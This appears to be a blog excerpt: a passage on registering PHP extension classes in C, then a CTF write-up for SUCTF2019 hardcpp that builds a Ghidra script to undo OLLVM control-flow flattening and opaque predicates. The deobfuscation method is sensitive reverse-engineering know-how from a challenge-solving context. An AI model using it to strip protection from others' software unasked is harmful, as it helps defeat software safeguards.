/ext/com_dotnet/com_persist_arginfo.h中,C代码定义了一个COMPersistHelper类。要想让这个类在PHP代码中能够直接使用,需要一个类注册函数:

1
2
3
4
5
6
7
8
9
10
11
12
// /ext/com_dotnet/com_persist_arginfo.h, line 56

static zend_class_entry *register_class_COMPersistHelper(void)
{
zend_class_entry ce, *class_entry;

INIT_CLASS_ENTRY(ce, "COMPersistHelper", class_COMPersistHelper_methods);
class_entry = zend_register_internal_class_ex(&ce, NULL);
class_entry->ce_flags |= ZEND_ACC_FINAL;

return class_entry;
}

类注册代码具有固定的函数声明格式,其必为静态函数,返回值必为zend_class_entry*,函数名应被命名为register_class_xxx,无参。

在函数中,必需进行类的初始化,即调用INIT_CLASS_ENTRY宏,这个宏的第一个参数固定,第二个参数为类名,第三个参数为定义类中方法的数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
// /ext/com_dotnet/com_persist_arginfo.h, line 44

static const zend_function_entry class_COMPersistHelper_methods[] = {
ZEND_ME(COMPersistHelper, __construct, arginfo_class_COMPersistHelper___construct, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, GetCurFileName, arginfo_class_COMPersistHelper_GetCurFileName, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, SaveToFile, arginfo_class_COMPersistHelper_SaveToFile, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, LoadFromFile, arginfo_class_COMPersistHelper_LoadFromFile, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, GetMaxStreamSize, arginfo_class_COMPersistHelper_GetMaxStreamSize, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, InitNew, arginfo_class_COMPersistHelper_InitNew, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, LoadFromStream, arginfo_class_COMPersistHelper_LoadFromStream, ZEND_ACC_PUBLIC)
ZEND_ME(COMPersistHelper, SaveToStream, arginfo_class_COMPersistHelper_SaveToStream, ZEND_ACC_PUBLIC)
ZEND_FE_END
};

若需要定义类中的方法,只需要完成对这个数组的定义即可,数组应命名为class_xxx_methods,数组中需要使用ZEND_ME宏表示类方法项。这个宏各个参数的含义如下:

  • 1 - 类名,不加引号。
  • 2 - 方法名,前加__的是内置函数,如构造函数、setter、getter等。
  • 3 - 方法的参数定义,与函数参数定义方式相同。
  • 4 - 类访问权限,如ZEND_ACC_PUBLICpublic访问权限等。

如果需要定义类属性,则需在类注册函数中完成定义。下面是PHP类DOMDocumentType类的注册函数的一部分:

1
2
3
4
5
6
7
// /ext/dom/php_dom_arginfo.h, line 905

zval property_name_default_value;
ZVAL_UNDEF(&property_name_default_value);
zend_string *property_name_name = zend_string_init("name", sizeof("name") - 1, 1);
zend_declare_typed_property(class_entry, property_name_name, &property_name_default_value, ZEND_ACC_PUBLIC, NULL, (zend_type) ZEND_TYPE_INIT_MASK(MAY_BE_STRING));
zend_string_release(property_name_name);

在上面的代码中,为类DOMDocumentType定义了一个属性,名为name,这里是使用zend_string_init定义字符串,前两个参数分别为char*和长度,第3个长度指是否为永久字符串。随后,通过zend_declare_typed_property正式将属性添加到类中,参数列表如下:

  • 1 - 注册函数的参数
  • 2 - 属性名
  • 3 - 默认值
  • 4 - 访问权限
  • 5 - 文档字符串
  • 6 - 属性类型
1
2
3
4
5
6
7
8
// /ext/dom/php_dom_arginfo.h, line 911

zend_string *property_entities_class_DOMNamedNodeMap = zend_string_init("DOMNamedNodeMap", sizeof("DOMNamedNodeMap")-1, 1);
zval property_entities_default_value;
ZVAL_UNDEF(&property_entities_default_value);
zend_string *property_entities_name = zend_string_init("entities", sizeof("entities") - 1, 1);
zend_declare_typed_property(class_entry, property_entities_name, &property_entities_default_value, ZEND_ACC_PUBLIC, NULL, (zend_type) ZEND_TYPE_INIT_CLASS(property_entities_class_DOMNamedNodeMap, 0, 0));
zend_string_release(property_entities_name);

上面的代码定义了数据类型为类的类属性,这里是定义一个DOMNamedNodeMap类型的类属性,需要使用ZEND_TYPE_INIT_CLASS宏定义。最后的zend_string_release即释放字符串值。

buu097-[SUCTF2019]hardcpp

这是一个简单的C++程序,但带有大量的控制流平坦化混淆。下面我将从头开始编写用于解决此类混淆问题的Ghidra脚本作为学习。

控制流平坦化中使用一个非常重要的值作为分发器。通常是以这个值为基础将控制流进行拆分,最终形成一个大型的switch语句。如一开始设置分发器为0x12345678,执行某些操作后再修改其值为0x87654321,随后重新进入循环并在switch中寻找该项。

使用静态分析方式对控制流平坦化混淆的代码进行解混淆的方式称为静态还原。静态还原的首要任务就是通过静态分析找到分发器是什么。好在控制流平坦化中的分发器一般都较为明显。下面将参考多篇资料完成本Ghidra脚本的编写。考虑使用Ghidra而不是其他静态反汇编工具主要是考虑到Ghidra完全开源,能够较为方便地查找相关的API。

主要参考资料:资料

笔者使用Intellij Idea进行开发,为了让Intellij Idea能够为我们进行代码补全工作,我们首先需要运行Ghidra根目录下/support/buildGhidraJar.bat脚本,运行完成后/support目录下将新增一个Ghidra.jar文件。在Intellij Idea中选择文件->项目结构->模块,导入该jar文件即可。

要开发的脚本预计需要实现以下功能:

  • 传入两个参数作为函数地址,指向要进行静态分析的函数以及分发器初始化指令。
  • 通过静态分析获取程序的执行流,并恢复正常的代码逻辑。

考虑到一个函数中可能有多个分发器,因此全部依靠脚本本身查找可能不是那么准确,因此暂时先由用户指定。

下面,我们来具体分析一下应该如何恢复控制流。

状态变量

现在,我们已经知道了分发器初始化的地址,通过这个地址对应的指令,我们可以提取该指令的p-code。对于初始化指令,其一定包含一个将常数COPY至某个VarNode的p-code,但这个VarNode并不一定是最终完成赋值操作的VarNode,因此我们还需要对这个VarNode进行跟踪,看看这个常数值通过可能的多次COPY后最终到达何处,即——我们要找到保存分发器的VarNode

在本题的main函数中,初始化分发器的地址为0x40086C,通过Ghidra反汇编可知其中并没有多于的赋值操作,因此上面的trace环节将直接从COPY到达STORE后结束。跟踪到这个常量最终将会被保存到ram($U3200:8)中,也就是RBP-0x9C处:

1
2
3
$U3200:8 = INT_ADD RBP, 0xffffffffffffff6c:8
$U5800:4 = COPY 0x703ff685:4
STORE ram($U3200:8), $U5800:4

但上面的三行代码不能直接被我们拿来进行分析。这些代码是P-code Micro code,并不是能够直接执行的P-code,我们还需要对其进行分析生成AST(抽象语法树),将这些P-code连接到一个AST中才能使用。我们使用的实际上是已经经过分析的高级P-code。

经过实验室高人指点,我写出了下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
public class ollvm_solver extends GhidraScript {
private DecompInterface decompiler;
private Function func;
private Address init_addr;

@Override
protected void run() throws Exception {
// ollvmSolverException为自定义异常
// 构建一个反编译器,这一步至关重要必须完成
// 如果直接从Instruction获取p-code,那么只能获取上面的micro code
// 因为没有对整个函数进行反编译分析,也就无法获取AST
try {
this.buildDecompiler(currentProgram);
} catch (ollvmSolverException e) {
JOptionPane.showMessageDialog(null, e.getMessage(), "Error while building decompiler", JOptionPane.ERROR_MESSAGE);
return;
}

// 获取必要参数
while(true) {
try {
getArgs(currentProgram);
break;
} catch ( ollvmSolverException e ){
JOptionPane.showMessageDialog(null, e.getMessage(), "Argument error", JOptionPane.ERROR_MESSAGE);
}
}

// 使用反编译器进行分析,获取带有PcodeOpAST的HighFunction实例
HighFunction hFunction;
try {
hFunction = this.decompileFunction();
} catch (ollvmSolverException e) {
JOptionPane.showMessageDialog(null, e.getMessage(), "Decompile error", JOptionPane.ERROR_MESSAGE);
return;
}

// 判断分发器初始化指令的合法性,如果不含有将常数COPY至VarNode的p-code,
// 则该指令一定不是分发器指令,报错
Iterator<PcodeOpAST> ops = hFunction.getPcodeOps(this.init_addr);
PcodeOp copy_pcode = null; // PcodeOp是PcodeOpAST的父类
for (Iterator<PcodeOpAST> it = ops; it.hasNext(); ) {
PcodeOpAST op = it.next();

if (op.getOpcode() == PcodeOp.COPY && op.getInput(0).isConstant()) {
println(String.format("Found COPY from const to varnode: %s", op.toString()));
copy_pcode = op;
}
}

// 迭代寻找MULTIEQUAL P-code,MULTIEQUAL P-code的输出即为状态变量的保存位置
while(copy_pcode != null && copy_pcode.getOpcode() != PcodeOp.MULTIEQUAL) {
if(copy_pcode.getOutput() == null) {
println(String.format("No output found in %s", copy_pcode));
break;
}
copy_pcode = copy_pcode.getOutput().getLoneDescend();
if(copy_pcode == null) {
throw OllvmSolverException.ASTLoneDescendantNotFound();
}
println(String.format("Lone descendant found: %s", copy_pcode));
}

assert copy_pcode != null;
Varnode dispatcher = copy_pcode.getOutput();
}

// 一个简单的界面,用于输入函数与分发器初始化地址
void getArgs(Program program) throws Exception {
...
}

void buildDecompiler(Program program) throws ollvmSolverException {
DecompInterface decompInterface = new DecompInterface();
DecompileOptions options = new DecompileOptions();
PluginTool tool = state.getTool();
if(tool != null) {
OptionsService service = tool.getService(OptionsService.class);
if(service != null){
ToolOptions opt = service.getOptions("Decompiler");
options.grabFromToolAndProgram(null, opt, program);
}
}
decompInterface.setOptions(options);
decompInterface.toggleCCode(true);
decompInterface.toggleSyntaxTree(true); // 生成语法树
decompInterface.setSimplificationStyle("decompile");
this.decompiler = decompInterface;
if (!this.decompiler.openProgram(currentProgram)) {
throw ollvmSolverException.openCurrentProgramException(this.decompiler.getLastMessage());
}
}

HighFunction decompileFunction() throws Exception{
HighFunction hfunction = null;

try {
DecompileResults dRes = this.decompiler.decompileFunction(this.func, this.decompiler.getOptions().getDefaultTimeout(), getMonitor());
hfunction = dRes.getHighFunction();
}
catch (Exception e) {
throw ollvmSolverException.decopmileException(this.func, e.getMessage());
}

return hfunction;
}
}

输入函数名为main,分发器初始化地址为0x40086C。该脚本的输出结果是:(为方便查看,笔者手动添加了一些换行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
ollvm_solver.java> Running...
ollvm_solver.java> Found COPY from const to varnode:
(stack, 0xffffffffffffff64, 4) COPY (const, 0x703ff685, 4)
ollvm_solver.java> Lone descendant found:
(unique, 0x10000661, 4) COPY (stack, 0xffffffffffffff64, 4)
ollvm_solver.java> Lone descendant found:
(stack, 0xffffffffffffff64, 4) MULTIEQUAL
(unique, 0x10000661, 4) ,
(unique, 0x10000665, 4) ,
(unique, 0x10000669, 4) ,
(unique, 0x1000066d, 4) ,
(unique, 0x10000671, 4) ,
(unique, 0x10000675, 4) ,
(unique, 0x10000679, 4) ,
(unique, 0x1000067d, 4) ,
(unique, 0x10000681, 4) ,
(unique, 0x10000685, 4) ,
(unique, 0x10000689, 4) ,
(unique, 0x1000068d, 4) ,
(unique, 0x10000691, 4) ,
(unique, 0x10000695, 4) ,
(unique, 0x10000699, 4) ,
(unique, 0x1000069d, 4) ,
(unique, 0x100006a1, 4) ,
(unique, 0x100006a5, 4) ,
(unique, 0x100006a9, 4) ,
(unique, 0x100006ad, 4) ,
(unique, 0x100006b1, 4) ,
(unique, 0x100006b5, 4) ,
(unique, 0x100006b9, 4) ,
(unique, 0x100006bd, 4) ,
(unique, 0x100006c1, 4) ,
(unique, 0x100006c5, 4) ,
(unique, 0x100006c9, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(register, 0x0, 4) ,
(stack, 0xffffffffffffff64, 4)

这个输出是什么意思呢?可以看到最后输出的这条P-code非常长,并且是一条MULTIEQUAL指令。这就是我们要找的指令,而(stack, 0xffffffffffffff64, 4)则是我们要找的保存状态变量的VarNode。

现在有几个很重要的问题:什么是MULTIEQUAL命令?我们为什么要查找这类命令?

Ghidra P-code文档中,我们可以找到MULTIEQUAL的说明:

此类指令不会在任何“通过汇编语言直接翻译得到的P-code序列”中得到,但在更大的粒度下可能会被各种分析算法添加进P-code序列。
这条指令具有1个输出参数以及至少2个输入参数。指令的意义是从多个可能的输入VarNode中复制值到输出VarNode。由于P-code具有静态单赋值(Static Single Assignment)特性,这类指令为Phi节点。每一个输入都对应一个“流入包含该MULTIEQUAL指令的基本块的控制流路径”。这条指令将多个输入中的其中之一的值复制到输出VarNode,选择的依据是最后执行的控制流路径。所有输入和输出必须有相同大小。

静态单赋值的意思是:每一个临时变量在整个程序执行时只能被赋值1次,随后作为常量看待。在上面的输出中,以unique开头的所有VarNode指的都是这类临时变量。在SSA的基础上,我们通过获取该基本块执行之前执行的路径,可以完全确定MULTIEQUAL应该将哪一个变量作为输入。这个结论的理论证明需要用到程序分析课程的相关专业知识,笔者没有学过,这里略过。

有了上面的结论之后,我们就可以完成下面的工作:分配器初始化时,必然会将某个VarNode保存到状态变量,即COPY指令的输入经过可能的多次复制后一定会走到MULTIEQUAL指令。我们只需要查找COPY指令的输出被哪一条指令用作输入,再查看那条指令的输出最终流向哪里,这样就找到了一条完整的数据流,与控制流路径相对应,最终必然能够找到MULTIEQUAL。简而言之,MULTIEQUAL指令需要在AST中从后向前看,而我们则在AST中从前向后查找。Ghidra正好提供了此类API:getLoneDescend——查找将该VarNode作为输入的唯一一个P-code指令。

常量值与基本块的对应关系

在本题的反汇编C语言代码中,我们可以看到很多这样的结构:

1
2
3
4
5
6
7
8
9
while(true){
...
if(状态变量==某常数)
break;
}

if(状态变量==某常数){
...
}

对于第一个while循环,其由至少2个基本块组成,前面是正常的逻辑,其中可能包括正常逻辑的多个基本块,最后以一个条件跳转结束。如果条件满足,则跳转到仅含有break的小基本块。

对于第二个if语句,其同样应该由至少2个基本块组成,前面的判断条件是一个基本块,如果条件满足则跳转到正常逻辑的基本块组中。

上面两种形式有共同的特点,即包含逻辑判断的基本块都应以CBRANCH(条件跳转)指令作为结尾,且判断条件都与状态变量有关。我们可以遍历函数中的所有基本块并筛选出满足这两个特点的基本块,再通过获取跳转的目标基本块,即可确认状态变量的不同值对应于哪些正常逻辑的基本块。

1
2
(register, 0x206, 1) INT_EQUAL (stack, 0xffffffffffffff64, 4) , (const, 0x703ff685, 4)
--- CBRANCH (ram, 0x400bb0, 1) , (register, 0x206, 1)

上面的基本块就是一个典型的OLLVM块,只进行了一个相等的判断,随后就是CBRANCH。Ghidra有获取P-code基本块最后一条指令的API,有获取后继节点的getLoneDescendgetDescendants,同样也有获取前趋结点的API——getDef,即获取定义一个VarNode的P-code指令。通过这些API,我们就能够获取跳转目的基本块与常量值的对应关系。可以使用一个三元组表示:目的基本块、常量、判断关系(相等、不等、小于等关系)

状态变量更新

除了获取上面的常量与基本块的对应关系外,我们还需要获取状态变量的更新位置,有了这两个信息,我们就可以将控制流串联起来,才能够对控制流进行优化。

在程序中,状态变量的更新可能会经历多个VarNode的中转,因此脚本中应该通过递归的方式进行更新的查找。具体而言,我们通过状态变量的MULTIEQUAL指令能够获取到所有直接复制值到状态变量的VarNode,这里笔者称为“上家”。但是上家可能并不是常数,而是寄存器值、内存值等,那么此时就还需要寻找这些值的“上家”,直到找到将常数赋值给VarNode的p-code为止。

还原控制流

基于上面获取的两组信息,我们即可完成对控制流的还原。但在此之前,我们还需要搞清楚还原的具体方法。

要了解如何还原,首先就需要弄清楚如何混淆。

如果需要将原代码逻辑的一个基本块拆分为多个基本块,则混淆后,每个基本块都应该有一个状态变量的赋值,并需要通过直接跳转回到主分配器,之后通过状态变量的值决定下一个要执行的基本块。

而如果原代码中包含if条件分支,则在处理上有几种可能性,如下图所示。将分支条件成立或不成立时的目标基本块替换为添加状态变量赋值的基本块,带有真正逻辑的基本块在随后回到主分配器后跳转。简而言之,就是要让if条件满足于不满足时状态变量的值不同。

通过上面的分析,我们就可以将需要处理的基本块分为2种看待。第一种是无条件跳转,即原代码逻辑没有分支;第二种是有条件跳转,即原代码逻辑有分支。

对于无条件跳转,此类基本块一定带有状态变量的更新,只有这样才能在下一次到达分配器时跳转到其他的基本块。如果该基本块A中包含将状态变量赋值为a的指令,那么下一个基本块的执行条件就是状态变量为a,找到一个基本块,其判断状态变量为a时跳转到基本块B,则可判定B为A的后继。

对于有条件跳转,我们需要确认条件满足时和不满足时,下一次判断状态变量的值时状态变量的值是多少。因此不能仅仅看有条件跳转的基本块A,还应该看到这个块引出的两个目标基本块Atrue和Afalse。如果引出的基本块B(Atrue或Afalse)没有对状态变量重新赋值,那么该路径使用的状态变量即为A中赋的值,否则如果重新赋值了,那么后续判断使用的可能就是这个新赋的值。当然有的时候B后面接着的基本块还有可能进行重新赋值,就比如原代码逻辑中存在"if"-"else if"-"else"的条件分支时,OLLVM可能就会将三个基本块赋3个值。对于此类代码逻辑,我们则必须递归进行处理,确定所有分支的目标基本块才能进行后续的修复操作。但经过笔者观察发现,对于此类代码逻辑,OLLVM更倾向于全部拆开,产生两个左边的执行流结构,而不会产生右边的结构。

综上所述,我们在还原控制流前需要保存的链接信息包含若干个二元组若干个三元组。二元组用于保存无条件分支基本块及其后继,三元组用于保存有条件分支基本块及其两个后继。

程序修复

下面介绍的程序修复方案只考虑x86-64架构。

对于无条件跳转,我们只需要将跳转目标改为真实的后继即可。

对于有条件跳转则要复杂一些。在x86-64中,OLLVM常会使用CMOVXX系指令完成条件分支的两个赋值。

1
2
3
4
5
6
mov eax, 0x12345678
mov ecx, 0x87654321
... (条件判断)
cmoveq eax, ecx
mov state_var, eax
jmp dispatcher_block

如上面的代码所示,条件判断是原代码逻辑,如果条件成立则状态变量的值为0x87654321,否则为0x12345678。我们需要再最后三条指令上做文章,需修改为:

1
2
jeq block_a ; condition true
jmp block_b ; condition false

进一步调试

经过上面漫长的研究与摸索,我们总算是完成了整个流程,但当patch结果显示后,结果却并不尽如人意。经过分析发现,代码中存在这样的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400876 8B 85 6C FF FF FF             mov     eax, [rbp+var_94]
.text:000000000040087C 89 C1 mov ecx, eax
.text:000000000040087E 81 E9 E6 E2 64 83 sub ecx, 8364E2E6h
.text:0000000000400884 89 85 5C FF FF FF mov [rbp+var_A4], eax
.text:000000000040088A 89 8D 58 FF FF FF mov [rbp+var_A8], ecx
.text:0000000000400890 0F 84 3D 05 00 00 jz loc_400DD3
.text:0000000000400890
.text:0000000000400896 E9 00 00 00 00 jmp $+5
.text:0000000000400896
.text:000000000040089B ; ---------------------------------------------------------------------------
.text:000000000040089B
.text:000000000040089B loc_40089B: ; CODE XREF: main+B6↑j
.text:000000000040089B 8B 85 5C FF FF FF mov eax, [rbp+var_A4]
.text:00000000004008A1 2D 07 CD 56 8B sub eax, 8B56CD07h
.text:00000000004008A6 89 85 54 FF FF FF mov [rbp+var_AC], eax
.text:00000000004008AC 0F 84 B0 04 00 00 jz loc_400D62
.text:00000000004008AC
.text:00000000004008B2 E9 00 00 00 00 jmp $+5

可以看到,下面一个基本块并不是对状态变量[rbp+var_94]判断,而是将这个值复制到了[rbp+var_A4]之后再判断。这两个基本块都是分配器的一部分,但是原本的状态变量被复制了一份。这种实际上是不会有影响的,Ghidra会将其优化掉,不会导致无法找全所有对应关系的问题。

那么真正的问题在哪呢?经过调试输出发现,有的汇编指令基本块虽然是JZ,但转换为p-code基本块后,判断条件变成了INT_NOTEQUAL,同时真出口与假出口调换。只需在代码中添加一个判断即可。

修复效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
undefined8 main(undefined4 param_1,undefined8 param_2)

{
int iVar1;
time_t tVar2;
size_t sVar3;
{lambda(char)#1} local_98 [8];
{lambda(char)#1} local_90 [8];
{lambda(char)#1} local_88 [8];
{lambda(char)#1} local_80 [8];
{lambda(int)#1} local_78 [8];
{lambda(char)#1} local_70 [7];
byte local_69;
int local_68;
int local_64;
int local_60;
int local_5c;
byte local_58 [24];
undefined local_40 [8];
$_3 local_38 [8];
undefined local_30 [8];
$_2 local_28 [4];
int local_24;
undefined8 local_20;
undefined4 local_18;
undefined4 local_14;
int local_10;
undefined local_a;
undefined local_9;

local_14 = 0;
local_20 = param_2;
local_18 = param_1;
tVar2 = time((time_t *)0x0);
local_24 = (int)tVar2;
puts("func(?)=\"01abfc750a0c942167651c40d088531d\"?");
iVar1 = getchar();
local_58[0] = (byte)iVar1;
fgets((char *)(local_58 + 1),0x15,stdin);
tVar2 = time((time_t *)0x0);
local_5c = (int)tVar2;
local_60 = local_5c - local_24;
local_10 = local_60;
if (0 < local_60) {
puts("Let the silent second hand take the place of my doubt...");
/* WARNING: Subroutine does not return */
exit(0);
}
if ((x * (x + -1) & 1U) == 0 || y < 10) goto LAB_00400c30;
do {
sVar3 = strlen((char *)local_58);
local_64 = (int)sVar3;
LAB_00400c30:
sVar3 = strlen((char *)local_58);
local_64 = (int)sVar3;
local_a = local_64 != 0x15;
} while ((x * (x + -1) & 1U) != 0 && 9 < y);
if (local_64 != 0x15) {
/* WARNING: Subroutine does not return */
exit(0);
}
do {
local_68 = 1;
} while ((x * (x + -1) & 1U) != 0 && 9 < y);
local_64 = 0x15;
while( true ) {
if (0x14 < local_68) {
if ((x * (x + -1) & 1U) == 0 || y < 10) goto LAB_004010ea;
do {
puts("You win");
LAB_004010ea:
puts("You win");
} while ((x * (x + -1) & 1U) != 0 && 9 < y);
return 0;
}
if ((x * (x + -1) & 1U) == 0 || y < 10) goto LAB_00400dd3;
do {
local_69 = local_58[local_68] ^ (byte)local_60;
local_70[0] = ({lambda(char)#1})main::$_0::operator()(local_30,local_69);
local_78[0] = ({lambda(int)#1})
main::$_1::operator()(local_40,local_58[local_68 + -1 + local_60]);
iVar1 = const::{lambda(int)#1}::operator()(local_78,7);
iVar1 = const::{lambda(char)#1}::operator()(local_70,(char)iVar1);
local_69 = (byte)iVar1;
local_80[0] = ({lambda(char)#1})main::$_2::operator()(local_28,local_69);
local_88[0] = ({lambda(char)#1})
main::$_2::operator()(local_28,local_58[local_68 + -1 + local_60]);
iVar1 = const::{lambda(char)#1}::operator()(local_88,0x12);
local_90[0] = ({lambda(char)#1})main::$_3::operator()(local_38,(char)iVar1);
iVar1 = const::{lambda(char)#1}::operator()(local_90,'\x03');
local_98[0] = ({lambda(char)#1})main::$_0::operator()(local_30,(char)iVar1);
iVar1 = const::{lambda(char)#1}::operator()(local_98,'\x02');
const::{lambda(char)#1}::operator()(local_80,(byte)iVar1);
LAB_00400dd3:
local_69 = local_58[local_68] ^ (byte)local_60;
local_70[0] = ({lambda(char)#1})main::$_0::operator()(local_30,local_69);
local_78[0] = ({lambda(int)#1})
main::$_1::operator()(local_40,local_58[local_68 + -1 + local_60]);
iVar1 = const::{lambda(int)#1}::operator()(local_78,7);
iVar1 = const::{lambda(char)#1}::operator()(local_70,(char)iVar1);
local_69 = (byte)iVar1;
local_80[0] = ({lambda(char)#1})main::$_2::operator()(local_28,local_69);
local_88[0] = ({lambda(char)#1})
main::$_2::operator()(local_28,local_58[local_68 + -1 + local_60]);
iVar1 = const::{lambda(char)#1}::operator()(local_88,0x12);
local_90[0] = ({lambda(char)#1})main::$_3::operator()(local_38,(char)iVar1);
iVar1 = const::{lambda(char)#1}::operator()(local_90,'\x03');
local_98[0] = ({lambda(char)#1})main::$_0::operator()(local_30,(char)iVar1);
iVar1 = const::{lambda(char)#1}::operator()(local_98,'\x02');
iVar1 = const::{lambda(char)#1}::operator()(local_80,(byte)iVar1);
local_69 = (byte)iVar1;
local_9 = enc[local_68 + -1] != local_69;
} while ((x * (x + -1) & 1U) != 0 && 9 < y);
if (enc[local_68 + -1] != local_69) break;
do {
} while ((x * (x + -1) & 1U) != 0 && 9 < y);
local_68 = local_68 + 1;
}
if ((x * (x + -1) & 1U) != 0 && 9 < y) {
/* WARNING: Subroutine does not return */
exit(0);
}
/* WARNING: Subroutine does not return */
exit(0);
}

可以看到,整个控制流已经完全正确地展现在我们面前。虽然还有一些全局变量的混淆,但至少已经能读懂了。需要注意的是,还有一个lambda函数无法被正常解混淆,因为其状态变量不是直接比较,而是进行了加运算再与0比较。这实际上和直接比较没什么区别,但会导致我们的脚本无法识别。因此还需要进行一些优化。

下面,还是首先处理一下与只读未写全局变量相关的混淆。这类混淆实际上混淆效果远不如控制流平坦化,但是出现在反汇编代码中还是让人难受。为了满足我这要了命的强迫症,遂决定静下心研究一番。

对于程序中所有全局变量的获取并没有什么难度。首先可以通过获取所有Symbol得到程序中的所有符号,这些符号包括标号(Label)和函数(Function),将函数剔除,然后获取该Label下的Data数据。在Ghidra的初始分析中,包含对变量引用的分析。Ghidra提供了获取全局变量引用的API,更方便的是,这些引用信息中还包含对变量的具体引用方式,包括读、写、调用等。因此,可以非常方便地获取所有没有写只有读的全局变量。这些全局变量在被读取时的值一定都是0。

全局变量混淆去除

从上面的反汇编代码可以看出,全局变量混淆主要是通过永真表达式(x * (x + -1) & 1U) == 0 || y < 10和永假表达式(x * (x + -1) & 1U) != 0 && 9 < y实现的。混淆后,同一段代码逻辑被复制为两份,但实际上只会执行一份。

因此,要想实现自动化解除此类混淆,就需要能够正确识别此类表达式并计算出结果。

不难发现,这些表达式有一些统一的特征:表达式的结果仅由只读不写的全局变量决定。通过对控制流平坦化的去混淆过程可知,所有条件跳转均通过CBRANCH实现,在分析后得到的高级P-code(PcodeOpAST)序列中,可以通过getDef方法获取一个Varnode被定义的P-code指令。因此,我们可以利用这个API层层向上回溯,梳理出条件跳转的条件被计算的全过程,形成一个树状结构。梳理完成后,获取所有参与计算的非常数Varnode。若所有这些Varnode都是全局变量,则说明:我们找到了一个通过全局变量进行混淆的假分支。随后,只需要按部就班地完成计算,即可确定条件跳转的条件的值,就可以安全移除这个假分支了。

不过,在具体脚本编写过程中,我还发现了一个问题。

在高级P-code序列中,有这样一类指令:INDIRECT。这是一种高级P-code指令,有2个输入参数和1个输出参数。它是为了满足P-code静态单赋值特性而设计的。那么这条指令到底有什么作用呢?

在Ghidra的一个Issue中有人提到了不理解INDIRECT指令的问题,下面是我认为最好的一个回答:

I think that INDIRECT just indicates the varnode in output can be affected by the pcode indicated by it’s input1.
So it’s impossible for a varnode to be affected when it’s both not the output of an instruction and it’s not associated with the instruction through an INDIRECT.
In other words, the varnodes being the output of all INDIRECTs associated with an instruction is the over-approximation of all varnodes that may be affected by the execution of this instruction. Only CALL/CALLIND instructions can have side affects because we need to take the execution of their corresponding subroutines into consideration. So INDIRECT instructions only appear before CALL/CALLIND instructions.
I wonder if my understanding is proper.
Thank you.

对于全局变量而言,一个线程的不同函数均有可能修改其值。为保证两次为全局变量重新赋值之间的所有本函数P-code在访问全局变量时获取的值均相同,需要强制添加INDIRECT指令作为一条针对全局变量的“可能的”重新赋值指令。这条指令需要添加在函数调用指令CALLCALLIND之前,表示这条CALLCALLIND有可能会影响到INDIRECT输出Varnode的值。INDIRECT指令的第2个参数一定是一个常数Varnode,将其解析为int后可使用该INDIRECT指令的地址和这个int值创建一个SequenceNumber序列号对象。每一个序列号都对应着一个CALLCALLIND指令,表示这条函数调用指令可能会影响输出Varnode的值。

INDIRECT将函数调用指令与Varnode建立了联系,它使得在任意P-code序列中,对于任意的Varnode,除非它作为一条P-code的输出Varnode,或它通过INDIRECT指令与某条函数调用指令建立联系(此时这个Varnode实际上还是作为输出Varnode存在),否则任何P-code指令将无法修改该Varnode的值。前面这句话可能需要一段时间理解,但却是我认为最能够总结INDIRECT指令功能的一句话。

1
2
3
4
5
6
7
8
9
10
11
OllvmSolver.java> (ram, 0x6020c4, 4) INDIRECT (ram, 0x6020c4, 4) , (const, 0x454, 4)
OllvmSolver.java> INDIRECT: (unique, 0x100006f3, 1) CALL (ram, 0x4016c0, 8) , (unique, 0x3100, 8) , (register, 0x0, 1)
OllvmSolver.java> (stack, 0xffffffffffffff68, 1) INDIRECT (stack, 0xffffffffffffff68, 1) , (const, 0x454, 4)
OllvmSolver.java> INDIRECT: (unique, 0x100006f3, 1) CALL (ram, 0x4016c0, 8) , (unique, 0x3100, 8) , (register, 0x0, 1)
OllvmSolver.java> (stack, 0xffffffffffffff70, 1) INDIRECT (stack, 0xffffffffffffff70, 1) , (const, 0x454, 4)
OllvmSolver.java> INDIRECT: (unique, 0x100006f3, 1) CALL (ram, 0x4016c0, 8) , (unique, 0x3100, 8) , (register, 0x0, 1)
OllvmSolver.java> (stack, 0xffffffffffffff78, 1) INDIRECT (stack, 0xffffffffffffff78, 1) , (const, 0x454, 4)
OllvmSolver.java> INDIRECT: (unique, 0x100006f3, 1) CALL (ram, 0x4016c0, 8) , (unique, 0x3100, 8) , (register, 0x0, 1)
OllvmSolver.java> (stack, 0xffffffffffffff80, 1) INDIRECT (stack, 0xffffffffffffff80, 1) , (const, 0x454, 4)
OllvmSolver.java> INDIRECT: (unique, 0x100006f3, 1) CALL (ram, 0x4016c0, 8) , (unique, 0x3100, 8) , (register, 0x0, 1)
OllvmSolver.java> (stack, 0xffffffffffffff88, 1) INDIRECT (stack, 0xffffffffffffff88, 1) , (const, 0x454, 4)

